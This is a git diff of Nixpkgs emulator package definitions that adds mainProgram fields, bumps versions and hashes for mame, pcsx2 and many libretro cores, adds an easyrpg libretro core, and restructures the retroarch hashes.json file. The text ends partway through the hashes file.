b/pkgs/applications/emulators/goldberg-emu/default.nix @@ -19,6 +19,11 @@ stdenv.mkDerivation rec { # It attempts to install windows-only libraries which we never build patches = [ ./dont-install-unsupported.patch ]; + postPatch = '' + # Fix gcc-13 build failure due to missing <string> include. + sed -e '1i #include <string>' -i dll/settings.h + ''; + nativeBuildInputs = [ cmake ]; buildInputs = [ protobuf ]; diff --git a/pkgs/applications/emulators/gxemul/default.nix b/pkgs/applications/emulators/gxemul/default.nix index 05f837b187670..88ea01f9d76ef 100644 --- a/pkgs/applications/emulators/gxemul/default.nix +++ b/pkgs/applications/emulators/gxemul/default.nix @@ -43,5 +43,6 @@ stdenv.mkDerivation rec { license = licenses.bsd3; maintainers = with maintainers; [ AndersonTorres ]; platforms = platforms.unix; + mainProgram = "gxemul"; }; } diff --git a/pkgs/applications/emulators/kega-fusion/default.nix b/pkgs/applications/emulators/kega-fusion/default.nix index f69a9c3206cd5..9bf359b88ccd0 100644 --- a/pkgs/applications/emulators/kega-fusion/default.nix +++ b/pkgs/applications/emulators/kega-fusion/default.nix @@ -75,5 +75,6 @@ in stdenv.mkDerivation { sourceProvenance = with sourceTypes; [ binaryNativeCode ]; license = licenses.unfreeRedistributable; platforms = [ "i686-linux" ]; + mainProgram = "kega-fusion"; }; } diff --git a/pkgs/applications/emulators/mame/default.nix b/pkgs/applications/emulators/mame/default.nix index c12135370d6c2..e2ed7e5f9c70f 100644 --- a/pkgs/applications/emulators/mame/default.nix +++ b/pkgs/applications/emulators/mame/default.nix @@ -38,14 +38,14 @@ let in stdenv.mkDerivation rec { pname = "mame"; - version = "0.262"; + version = "0.263"; srcVersion = builtins.replaceStrings [ "." ] [ "" ] version; src = fetchFromGitHub { owner = "mamedev"; repo = "mame"; rev = "mame${srcVersion}"; - hash = "sha256-avVHtnmKPUq+mMtxyaqSaGyrdsi5LXF1YS8JAb2QvBo="; + hash = "sha256-6MH4dMGOekiiq4yE68dIAiWWfvQvFcvqKtT/Z1SQ1aY="; }; outputs = [ "out" "tools" ]; diff --git a/pkgs/applications/emulators/mednafen/default.nix b/pkgs/applications/emulators/mednafen/default.nix index bcc58ccb76a0f..816b6c1bd4d7c 100644 --- a/pkgs/applications/emulators/mednafen/default.nix +++ b/pkgs/applications/emulators/mednafen/default.nix @@ -94,5 +94,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ AndersonTorres ]; platforms = platforms.unix; + mainProgram = "mednafen"; }; } diff --git a/pkgs/applications/emulators/mgba/default.nix b/pkgs/applications/emulators/mgba/default.nix index 4e0e8687b61e2..457d5c7e4fcd0 100644 --- a/pkgs/applications/emulators/mgba/default.nix +++ b/pkgs/applications/emulators/mgba/default.nix @@ -5,7 +5,7 @@ , ffmpeg , discord-rpc , libedit -, libelf +, elfutils , libepoxy , libsForQt5 , libzip @@ -49,7 +49,7 @@ stdenv.mkDerivation (finalAttrs: { SDL2 ffmpeg libedit - libelf + elfutils libepoxy libzip lua diff --git a/pkgs/applications/emulators/oberon-risc-emu/default.nix b/pkgs/applications/emulators/oberon-risc-emu/default.nix index 749e3549bf80f..331473f59fedf 100644 --- a/pkgs/applications/emulators/oberon-risc-emu/default.nix +++ b/pkgs/applications/emulators/oberon-risc-emu/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation { description = "Emulator for the Oberon RISC machine"; license = licenses.isc; maintainers = with maintainers; [ siraben ]; + mainProgram = "risc"; }; } diff --git a/pkgs/applications/emulators/openmsx/default.nix b/pkgs/applications/emulators/openmsx/default.nix index c9f7827d09ab7..1c34c0025c8e1 100644 --- a/pkgs/applications/emulators/openmsx/default.nix +++ b/pkgs/applications/emulators/openmsx/default.nix @@ -71,5 +71,6 @@ stdenv.mkDerivation (finalAttrs: { license = with licenses; [ bsd2 boost gpl2Plus ]; maintainers = with maintainers; [ AndersonTorres ]; platforms = platforms.unix; + mainProgram = "openmsx"; }; }) diff --git a/pkgs/applications/emulators/pcsx2/default.nix b/pkgs/applications/emulators/pcsx2/default.nix index ce14caab746d3..cb39b5417b095 100644 --- a/pkgs/applications/emulators/pcsx2/default.nix +++ b/pkgs/applications/emulators/pcsx2/default.nix @@ -36,20 +36,20 @@ let pcsx2_patches = fetchFromGitHub { owner = "PCSX2"; repo = "pcsx2_patches"; - rev = "189f79d73f8cd9fd85c7394a14ee4419ddfa267b"; - sha256 = "sha256-gxwAxR7N7QU4sTGHTdd656dmsW8MrcfroYPvv2UoeRc="; + rev = "e3b354f144de71d2b87471166cca8911867c1dfd"; + sha256 = "sha256-H7cFyBYZumcCZ0/FFOFZoChoi0XPs4siA4dHcFt9U7k="; }; in llvmPackages_17.stdenv.mkDerivation rec { pname = "pcsx2"; - version = "1.7.5497"; + version = "1.7.5587"; src = fetchFromGitHub { owner = "PCSX2"; repo = "pcsx2"; fetchSubmodules = true; rev = "v${version}"; - sha256 = "sha256-gbJkeelSyEHwD4DH/hbzPNNv47hmdgc4kyvX38txYhc="; + sha256 = "sha256-PCZ1r6x28Z5FEVMXWm4oxpTknz/XEiwo0rRGhn4B33g="; }; patches = [ diff --git a/pkgs/applications/emulators/retroarch/cores.nix b/pkgs/applications/emulators/retroarch/cores.nix index 5f05854012353..b42966f5a10ca 100644 --- a/pkgs/applications/emulators/retroarch/cores.nix +++ b/pkgs/applications/emulators/retroarch/cores.nix @@ -7,10 +7,14 @@ , cmake , curl , fetchFromGitHub +, fetchpatch , ffmpeg , ffmpeg_4 , fluidsynth +, fmt +, freetype , gettext +, harfbuzz , hexdump , hidapi , icu @@ -19,21 +23,28 @@ , libGL , libGLU , libjpeg +, liblcf , libpcap , libpng +, libsndfile , libvorbis , libxml2 +, libxmp , libzip , makeWrapper +, mpg123 , nasm , openssl +, opusfile , pcre +, pixman , pkg-config , portaudio , python3 , retroarch , sfml , snappy +, speexdsp , udev , which , xorg @@ -48,13 +59,15 @@ let getCore = repo: (lib.getAttr repo hashesFile); getCoreSrc = repo: - (lib.pipe repo [ - getCore - (x: builtins.removeAttrs x [ "date" ]) - fetchFromGitHub - ]); + let + inherit (getCore repo) src fetcher; + fetcherFn = { + inherit fetchFromGitHub; + }.${fetcher} or (throw "Unknown fetcher: ${fetcher}"); + in + fetcherFn src; - getCoreDate = repo: (getCore repo).date or "unstable-1970-01-01"; + getCoreVersion = repo: (getCore repo).version; mkLibretroCore = # Sometimes core name != repo name, so you may need to set them differently @@ -67,7 +80,7 @@ let { core , repo ? core , src ? (getCoreSrc repo) - , version ? (getCoreDate repo) + , version ? (getCoreVersion repo) , ... }@args: import ./mkLibretroCore.nix ({ @@ -398,6 +411,32 @@ in }; }; + easyrpg = mkLibretroCore { + core = "easyrpg"; + extraNativeBuildInputs = [ cmake pkg-config ]; + extraBuildInputs = [ fmt freetype harfbuzz liblcf libpng libsndfile libvorbis libxmp mpg123 opusfile pcre pixman speexdsp ]; + patches = [ + # The following patch is shared with easyrpg-player. + # Update when new versions of liblcf and easyrpg-player are released. + # See pkgs/games/easyrpg-player/default.nix for details. + (fetchpatch { + name = "0001-Fix-building-with-fmtlib-10.patch"; + url = "https://github.com/EasyRPG/Player/commit/ab6286f6d01bada649ea52d1f0881dde7db7e0cf.patch"; + hash = "sha256-GdSdVFEG1OJCdf2ZIzTP+hSrz+ddhTMBvOPjvYQHy54="; + }) + ]; + cmakeFlags = [ + "-DBUILD_SHARED_LIBS=ON" + "-DPLAYER_TARGET_PLATFORM=libretro" + "-DCMAKE_INSTALL_DATADIR=${placeholder "out"}/share" + ]; + makefile = "Makefile"; + meta = { + description = "EasyRPG Player libretro port"; + license = lib.licenses.gpl3Only; + }; + }; + eightyone = mkLibretroCore { core = "81"; repo = "eightyone"; diff --git a/pkgs/applications/emulators/retroarch/hashes.json b/pkgs/applications/emulators/retroarch/hashes.json index 7f66bccd8f810..558c24a2ed883 100644 --- a/pkgs/applications/emulators/retroarch/hashes.json +++ b/pkgs/applications/emulators/retroarch/hashes.json @@ -1,626 +1,902 @@ { + "!comment": "Generated with update_cores.py script, do not edit!", "2048": { - "owner": "libretro", - "repo": "libretro-2048", - "rev": "331c1de588ed8f8c370dcbc488e5434a3c09f0f2", - "hash": "sha256-gPrAmoBnfuTnW6t699pqS43vE6t0ca3jZcqTNRaJipA=", - "date": "unstable-2023-02-20" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-2048", + "rev": "331c1de588ed8f8c370dcbc488e5434a3c09f0f2", + "hash": "sha256-gPrAmoBnfuTnW6t699pqS43vE6t0ca3jZcqTNRaJipA=" + }, + "version": "unstable-2023-02-20" }, "atari800": { - "owner": "libretro", - "repo": "libretro-atari800", - "rev": "410d7bf0c215f3444793a9cec51c129e7b67c400", - "hash": "sha256-mUhAraZrmElB6rxQziQG6I2sCdkiX5wYBJhkZgpMSa0=", - "date": "unstable-2023-11-14" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-atari800", + "rev": "410d7bf0c215f3444793a9cec51c129e7b67c400", + "hash": "sha256-mUhAraZrmElB6rxQziQG6I2sCdkiX5wYBJhkZgpMSa0=" + }, + "version": "unstable-2023-11-14" }, "beetle-gba": { - "owner": "libretro", - "repo": "beetle-gba-libretro", - "rev": "38182572571a48cb58057cde64b915237c4e2d58", - "hash": "sha256-4xnXWswozlcXBNI1lbGSNW/gAdIeLLO9Bf1SxOFLhSo=", - "date": "unstable-2021-09-18" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-gba-libretro", + "rev": "38182572571a48cb58057cde64b915237c4e2d58", + "hash": "sha256-4xnXWswozlcXBNI1lbGSNW/gAdIeLLO9Bf1SxOFLhSo=" + }, + "version": "unstable-2021-09-18" }, "beetle-lynx": { - "owner": "libretro", - "repo": "beetle-lynx-libretro", - "rev": "48909ddd1aba4de034d9c1da70c460b1724daa3b", - "hash": "sha256-aAS9N54kA2st1+3BodiXDR4sbUDSvoFHpa28D9sohx4=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-lynx-libretro", + "rev": "48909ddd1aba4de034d9c1da70c460b1724daa3b", + "hash": "sha256-aAS9N54kA2st1+3BodiXDR4sbUDSvoFHpa28D9sohx4=" + }, + "version": "unstable-2023-11-01" }, "beetle-ngp": { - "owner": "libretro", - "repo": "beetle-ngp-libretro", - "rev": "673c3d924ff33d71c6a342b170eff5359244df1f", - "hash": "sha256-V3zcbEwqay3eXwXzXZkmHj3+rx9KY4r0WkzAYFZXlgY=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-ngp-libretro", + "rev": "673c3d924ff33d71c6a342b170eff5359244df1f", + "hash": "sha256-V3zcbEwqay3eXwXzXZkmHj3+rx9KY4r0WkzAYFZXlgY=" + }, + "version": "unstable-2023-11-01" }, "beetle-pce": { - "owner": "libretro", - "repo": "beetle-pce-libretro", - "rev": "753f067738e55a6325d3ca5206151a9acd9127f0", - "hash": "sha256-OWvoIi0DS3YhxK1S6PAbCNZwKKXti6brZlWVCJELfKY=", - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-pce-libretro", + "rev": "95b5ea18a694f5a05b1c0cda20928c825d981238", + "hash": "sha256-4Y2dyELUGWycCQ1UA0Ov6Ijh1t+KgSL1AtDefbRmjbA=" + }, + "version": "unstable-2024-03-01" }, "beetle-pce-fast": { - "owner": "libretro", - "repo": "beetle-pce-fast-libretro", - "rev": "86a80e1ba551f9a4627b8394901db0ee365c1442", - "hash": "sha256-aIDc4jzliVLpI2Xetcd5tG74/xvIlqRdVEb72yHrsCo=", - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-pce-fast-libretro", + "rev": "28180934e9d7f1a6ec655adde0b81f0b167732ad", + "hash": "sha256-Kt1Bh32zoJynbqp/0ARngPTYHlvp6k/Ya09l8/736gk=" + }, + "version": "unstable-2024-03-01" }, "beetle-pcfx": { - "owner": "libretro", - "repo": "beetle-pcfx-libretro", - "rev": "47c355b6a515aef6dc57f57df1535570108a0e21", - "hash": "sha256-ylFo/wmLQpQGYSrv9PF2DBmr/8rklmHF9R+3y8v93Rs=", - "date": "unstable-2023-05-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-pcfx-libretro", + "rev": "47c355b6a515aef6dc57f57df1535570108a0e21", + "hash": "sha256-ylFo/wmLQpQGYSrv9PF2DBmr/8rklmHF9R+3y8v93Rs=" + }, + "version": "unstable-2023-05-28" }, "beetle-psx": { - "owner": "libretro", - "repo": "beetle-psx-libretro", - "rev": "3adff889b9b8251526ca7dae963be46bf8401e2e", - "hash": "sha256-DaDzoAQJLuer/c+V1bJGbejnyGYB2RYdebZ1YIoVRKw=", - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-psx-libretro", + "rev": "680bbf0e2a4f9bc2b534d213416456baa9c95212", + "hash": "sha256-QmiCokeMtQC2+cwWFovve2+c3pahD+IdOFBRAXEPV0k=" + }, + "version": "unstable-2024-03-01" }, "beetle-saturn": { - "owner": "libretro", - "repo": "beetle-saturn-libretro", - "rev": "cd395e9e3ee407608450ebc565e871b24e7ffed6", - "hash": "sha256-EIZRv1EydfLWFoBb8TzvAY3kkL9Qr2OrwrljOnnM92A=", - "date": "unstable-2023-05-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-saturn-libretro", + "rev": "8192ecca34d44f8f85175fa7b7fab6ec2ffb31c2", + "hash": "sha256-2YDfyIEoCj9dM+d3+UOTFVNA56OnBNO5HgJAjoV7Xik=" + }, + "version": "unstable-2024-02-25" }, "beetle-supafaust": { - "owner": "libretro", - "repo": "supafaust", - "rev": "6b639c98372d1c9bac885c55d772c812d2a9d525", - "hash": "sha256-EVXwjrxooZm1JqG4HswUe8zwN81Rm7SPB5Fr4WfpTnc=", - "date": "unstable-2023-06-19" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "supafaust", + "rev": "6b639c98372d1c9bac885c55d772c812d2a9d525", + "hash": "sha256-EVXwjrxooZm1JqG4HswUe8zwN81Rm7SPB5Fr4WfpTnc=" + }, + "version": "unstable-2023-06-19" }, "beetle-supergrafx": { - "owner": "libretro", - "repo": "beetle-supergrafx-libretro", - "rev": "32070ffd0082fd5127519bb6e92a2daecc359408", - "hash": "sha256-ZBZtDMP2inarEuLE76Zw1/qZ2YfyTJy+2eN10hhpn64=", - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-supergrafx-libretro", + "rev": "29ff9e00a85db3d462cca42543a84597c421c99c", + "hash": "sha256-UZt1yFcwgdY/TbDs+GQ73Nu5KRA1R8gdKs73IQC1mCg=" + }, + "version": "unstable-2024-03-01" }, "beetle-vb": { - "owner": "libretro", - "repo": "beetle-vb-libretro", - "rev": "9d1bd03f21dac7897f65269e1095496331efce8b", - "hash": "sha256-CT6CfRe8TOgXuJoUA0TKl71m10XeocUCTUjh88eCenU=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-vb-libretro", + "rev": "9d1bd03f21dac7897f65269e1095496331efce8b", + "hash": "sha256-CT6CfRe8TOgXuJoUA0TKl71m10XeocUCTUjh88eCenU=" + }, + "version": "unstable-2023-11-01" }, "beetle-wswan": { - "owner": "libretro", - "repo": "beetle-wswan-libretro", - "rev": "32bf70a3032a138baa969c22445f4b7821632c30", - "hash": "sha256-dDph7LNlvzVMVTzkUfGErMEb/tALpCADgTjnzjUHYJU=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "beetle-wswan-libretro", + "rev": "32bf70a3032a138baa969c22445f4b7821632c30", + "hash": "sha256-dDph7LNlvzVMVTzkUfGErMEb/tALpCADgTjnzjUHYJU=" + }, + "version": "unstable-2023-11-01" }, "blastem": { - "owner": "libretro", - "repo": "blastem", - "rev": "277e4a62668597d4f59cadda1cbafb844f981d45", - "hash": "sha256-EHvKElPw8V5Z6LnMaQXBCdM4niLIlF3aBm8dRbeYXHs=", - "date": "unstable-2022-07-26" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "blastem", + "rev": "277e4a62668597d4f59cadda1cbafb844f981d45", + "hash": "sha256-EHvKElPw8V5Z6LnMaQXBCdM4niLIlF3aBm8dRbeYXHs=" + }, + "version": "unstable-2022-07-26" }, "bluemsx": { - "owner": "libretro", - "repo": "bluemsx-libretro", - "rev": "e8a4280bcbd149d1e020adcd9469ad9d8bd67412", - "hash": "sha256-uh4lMOCN1WXKVJybFkkGxIRWAlde74yPH5eaB1/1qsk=", - "date": "unstable-2023-11-10" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "bluemsx-libretro", + "rev": "e8a4280bcbd149d1e020adcd9469ad9d8bd67412", + "hash": "sha256-uh4lMOCN1WXKVJybFkkGxIRWAlde74yPH5eaB1/1qsk=" + }, + "version": "unstable-2023-11-10" }, "bsnes": { - "owner": "libretro", - "repo": "bsnes-libretro", - "rev": "d230353616ab4c7dc01a2f2a63865011bd5c7ffd", - "hash": "sha256-TiOdptWOb13UQ8jKDbIlZQQ3mY3h/lPHr/GskPVAkwA=", - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "bsnes-libretro", + "rev": "9e9b928e0153f663cf4802f266315ab092067b7e", + "hash": "sha256-Fn1bz3TC+8CEmGDNcll0yfzBpDPvfS1vknf49ogNCIQ=" + }, + "version": "unstable-2024-03-01" }, "bsnes-hd": { - "owner": "DerKoun", - "repo": "bsnes-hd", - "rev": "f46b6d6368ea93943a30b5d4e79e8ed51c2da5e8", - "hash": "sha256-Y3FhGtcz7BzwUSBy1SGMuylJdZti/JB8qQnabIkG/dI=", - "date": "unstable-2023-04-26" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "DerKoun", + "repo": "bsnes-hd", + "rev": "f46b6d6368ea93943a30b5d4e79e8ed51c2da5e8", + "hash": "sha256-Y3FhGtcz7BzwUSBy1SGMuylJdZti/JB8qQnabIkG/dI=" + }, + "version": "unstable-2023-04-26" }, "bsnes-mercury": { - "owner": "libretro", - "repo": "bsnes-mercury", - "rev": "60c204ca17941704110885a815a65c740572326f", - "hash": "sha256-eJ0lac1I7E4YdsVVrIuXx31UL9w3OR6QTVHq5YBgnJU=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "bsnes-mercury", + "rev": "60c204ca17941704110885a815a65c740572326f", + "hash": "sha256-eJ0lac1I7E4YdsVVrIuXx31UL9w3OR6QTVHq5YBgnJU=" + }, + "version": "unstable-2023-11-01" }, "citra": { - "owner": "libretro", - "repo": "citra", - "rev": "2d67658e85de4767c0eefeb2829d710401c5c802", - "hash": "sha256-u2XwAudFgI7j/k6Bq5fk874aI6KpZawlBoIs2+M+eZY=", - "fetchSubmodules": true, - "date": "unstable-2024-01-24" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "citra", + "rev": "2d67658e85de4767c0eefeb2829d710401c5c802", + "hash": "sha256-u2XwAudFgI7j/k6Bq5fk874aI6KpZawlBoIs2+M+eZY=", + "fetchSubmodules": true + }, + "version": "unstable-2024-01-24" }, "desmume": { - "owner": "libretro", - "repo": "desmume", - "rev": "b518fec54b79f2f71a7536715efcdcd7f60638a8", - "hash": "sha256-X6ZL+XdsrdPoOU5zqNsUraMrlPU/HmKWUolrWjFcbDQ=", - "date": "unstable-2024-01-11" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "desmume", + "rev": "b518fec54b79f2f71a7536715efcdcd7f60638a8", + "hash": "sha256-X6ZL+XdsrdPoOU5zqNsUraMrlPU/HmKWUolrWjFcbDQ=" + }, + "version": "unstable-2024-01-11" }, "desmume2015": { - "owner": "libretro", - "repo": "desmume2015", - "rev": "af397ff3d1f208c27f3922cc8f2b8e08884ba893", - "hash": "sha256-kEb+og4g7rJvCinBZKcb42geZO6W8ynGsTG9yqYgI+U=", - "date": "unstable-2022-04-05" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "desmume2015", + "rev": "af397ff3d1f208c27f3922cc8f2b8e08884ba893", + "hash": "sha256-kEb+og4g7rJvCinBZKcb42geZO6W8ynGsTG9yqYgI+U=" + }, + "version": "unstable-2022-04-05" }, "dolphin": { - "owner": "libretro", - "repo": "dolphin", - "rev": "2f4b0f7902257d40a054f60b2c670d6e314f2a04", - "hash": "sha256-9WYWbLehExYbPmGJpguhVFXqFJ9aR6VxzFVChd4QOEg=", - "date": "unstable-2022-12-17" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "dolphin", + "rev": "2f4b0f7902257d40a054f60b2c670d6e314f2a04", + "hash": "sha256-9WYWbLehExYbPmGJpguhVFXqFJ9aR6VxzFVChd4QOEg=" + }, + "version": "unstable-2022-12-17" }, "dosbox": { - "owner": "libretro", - "repo": "dosbox-libretro", - "rev": "b7b24262c282c0caef2368c87323ff8c381b3102", - "hash": "sha256-PG2eElenlEpu0U/NIh53p0uLqewnEdaq6Aoak5E1P3I=", - "date": "unstable-2022-07-18" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "dosbox-libretro", + "rev": "b7b24262c282c0caef2368c87323ff8c381b3102", + "hash": "sha256-PG2eElenlEpu0U/NIh53p0uLqewnEdaq6Aoak5E1P3I=" + }, + "version": "unstable-2022-07-18" }, "dosbox-pure": { - "owner": "schellingb", - "repo": "dosbox-pure", - "rev": "87bf6365158325b76ff238c1ad8daf16a859bbe8", - "hash": "sha256-IU5AnOEuwZm/bJ9NuxhTQ8Tb5ngmjysLj/om/6P730s=", - "date": "unstable-2023-12-29" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "schellingb", + "repo": "dosbox-pure", + "rev": "87bf6365158325b76ff238c1ad8daf16a859bbe8", + "hash": "sha256-IU5AnOEuwZm/bJ9NuxhTQ8Tb5ngmjysLj/om/6P730s=" + }, + "version": "unstable-2023-12-29" + }, + "easyrpg": { + "fetcher": "fetchFromGitHub", + "src": { + "owner": "EasyRPG", + "repo": "Player", + "rev": "f8e41f43b619413f95847536412b56f85307d378", + "hash": "sha256-nvWM4czTv/GxY9raomBEn7dmKBeLtSA9nvjMJxc3Q8s=", + "fetchSubmodules": true + }, + "version": "unstable-2023-04-29" }, "eightyone": { - "owner": "libretro", - "repo": "81-libretro", - "rev": "525d5c18f1ff3fc54c37e083a475225d9179d59d", - "hash": "sha256-H0w9hcAUVOGr0PtNLVdFQScxd3ildZZ68w+TL7vG4jk=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "81-libretro", + "rev": "525d5c18f1ff3fc54c37e083a475225d9179d59d", + "hash": "sha256-H0w9hcAUVOGr0PtNLVdFQScxd3ildZZ68w+TL7vG4jk=" + }, + "version": "unstable-2023-11-01" }, "fbalpha2012": { - "owner": "libretro", - "repo": "fbalpha2012", - "rev": "b7ac554c53561d41640372f23dab15cd6fc4f0c4", - "hash": "sha256-BaeMLej2MLc4uipqTD2z2sHUeOsc50Q1c+PEiPD1cks=", - "date": "unstable-2023-11-01" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "fbalpha2012", + "rev": "b7ac554c53561d41640372f23dab15cd6fc4f0c4", + "hash": "sha256-BaeMLej2MLc4uipqTD2z2sHUeOsc50Q1c+PEiPD1cks=" + }, + "version": "unstable-2023-11-01" }, "fbneo": { - "owner": "libretro", - "repo": "fbneo", - "rev": "bb7aa7ea1e3a9a293fcf4e2b15994afde2e52899", - "hash": "sha256-XTOZGKq02obnzbtUEAEs99Kxhd8hFqLjI/smwtNAU8Q=", - "date": "unstable-2024-02-08" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "fbneo", + "rev": "a9c41d1e1132b1a7aad48c0f8e94fcf9c7ba0f9f", + "hash": "sha256-H4pJruHqJ4p3tBykm015U+wApHrAeVaZO9nLJ9Rc0NQ=" + }, + "version": "unstable-2024-03-03" }, "fceumm": { - "owner": "libretro", - "repo": "libretro-fceumm", - "rev": "63643ba02c8eaea15dbe167ef907f3da7a3e6fd7", - "hash": "sha256-xy8hzZ7nt2hHjRJmsty/w/cPzEtdlSkmNAsog3+h5YU=", - "date": "unstable-2024-01-25" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "libretro-fceumm", + "rev": "40969671ce9e4b1a49165d836476cd71bb960131", + "hash": "sha256-wdAigh3qUzB3wmh6q/dwCHHhuyqyAmqV+NSvrzjODVM=" + }, + "version": "unstable-2024-03-02" }, "flycast": { - "owner": "flyinghead", - "repo": "flycast", - "rev": "44fa364f36c43bed19b055096600f075c656f78c", - "hash": "sha256-UfASq8OXtsfubMUfke7P6HTygM/9fP421IoLQeJvPgY=", - "fetchSubmodules": true, - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "flyinghead", + "repo": "flycast", + "rev": "391da7023f63c2afd32af72ac9f2cfb02bbc7eb6", + "hash": "sha256-fcNpFl6VwaoL2mWZOgyVoJWX9CV2KbWctukdxxo797I=", + "fetchSubmodules": true + }, + "version": "unstable-2024-03-04" }, "fmsx": { - "owner": "libretro", - "repo": "fmsx-libretro", - "rev": "9b5cf868825a629cc4c7086768338165d3bbf706", - "hash": "sha256-zDDAMzV+pfu+AwjgXwduPfHyW1rQnvaDpFvz++QBBkA=", - "date": "unstable-2024-02-08" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "fmsx-libretro", + "rev": "9b5cf868825a629cc4c7086768338165d3bbf706", + "hash": "sha256-zDDAMzV+pfu+AwjgXwduPfHyW1rQnvaDpFvz++QBBkA=" + }, + "version": "unstable-2024-02-08" }, "freeintv": { - "owner": "libretro", - "repo": "freeintv", - "rev": "85bf25a39a34bbc39fe36677175d87c2b597dbe7", - "hash": "sha256-4cU/YRZZb7EWNBJX8M91Lb+bCCIlks6xX2Cf6Iq/g9g=", - "date": "unstable-2023-04-17" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "freeintv", + "rev": "85bf25a39a34bbc39fe36677175d87c2b597dbe7", + "hash": "sha256-4cU/YRZZb7EWNBJX8M91Lb+bCCIlks6xX2Cf6Iq/g9g=" + }, + "version": "unstable-2023-04-17" }, "fuse": { - "owner": "libretro", - "repo": "fuse-libretro", - "rev": "847dbbd6f787823ac9a5dfacdd68ab181063374e", - "hash": "sha256-jzS7SFALV/YjI77ST+IWHwUsuhT+Zr5w4t6C7O8yzFM=", - "date": "unstable-2023-06-23" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "fuse-libretro", + "rev": "847dbbd6f787823ac9a5dfacdd68ab181063374e", + "hash": "sha256-jzS7SFALV/YjI77ST+IWHwUsuhT+Zr5w4t6C7O8yzFM=" + }, + "version": "unstable-2023-06-23" }, "gambatte": { - "owner": "libretro", - "repo": "gambatte-libretro", - "rev": "05c4e10168aa3070b4ea01f7da7ab1c0d4241103", - "hash": "sha256-W/s8FWjFOIcclLkbM5s2+2dcvr+X2My5319SvRo5/lU=", - "date": "unstable-2024-02-09" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "gambatte-libretro", + "rev": "9806d3f12bc3a831fad3f71c6fbad6f93d83581c", + "hash": "sha256-EdqS410TZyRqE/nd/oLJt7dauN0DCtNnhB6k6CPd/tc=" + }, + "version": "unstable-2024-03-01" }, "genesis-plus-gx": { - "owner": "libretro", - "repo": "Genesis-Plus-GX", - "rev": "ecb956d914d6bc4e5deb49384bc929939e9a19e5", - "hash": "sha256-Fk+Ldjav+yQl6fkYESR6t1JEOKiCZYCW386QL4ozE68=", - "date": "unstable-2024-02-06" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "Genesis-Plus-GX", + "rev": "d434ad9ee418247490a8560b52e0651d25304f35", + "hash": "sha256-v6IYku+9hLlGD0sgkzoatdD7Glp/3pgwBE2K4hdsFec=" + }, + "version": "unstable-2024-03-02" }, "gpsp": { - "owner": "libretro", - "repo": "gpsp", - "rev": "4caf7a167d159866479ea94d6b2d13c26ceb3e72", - "hash": "sha256-1hkxeTjY52YuphQuDMCITn/dIcNx/8w4FkhQjL8DWz8=", - "date": "unstable-2024-02-10" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "gpsp", + "rev": "4caf7a167d159866479ea94d6b2d13c26ceb3e72", + "hash": "sha256-1hkxeTjY52YuphQuDMCITn/dIcNx/8w4FkhQjL8DWz8=" + }, + "version": "unstable-2024-02-10" }, "gw": { - "owner": "libretro", - "repo": "gw-libretro", - "rev": "0ecff52b11c327af52b22ea94b268c90472b6732", - "hash": "sha256-N/nZoo+duk7XhRtNdV1paWzxYUhv8nLUcnnOs2gbZuQ=", - "date": "unstable-2023-05-28" + "fetcher": "fetchFromGitHub", + "src": { + "owner": "libretro", + "repo": "gw-libretro", + "rev": "0ecff52b11c327af52b22ea94b268c90472b6732", + "hash": "sha256-N/nZoo+duk7XhRtNdV1paWzxYUhv8nLUcnnOs2gbZuQ=" + }, + "version": "unstable-2023-05-28" }, "handy": { - "owner": "libretro", - "repo": "libretro-handy", - "rev": "65d6b865544cd441ef2bd18cde7bd834c23d0e48", - 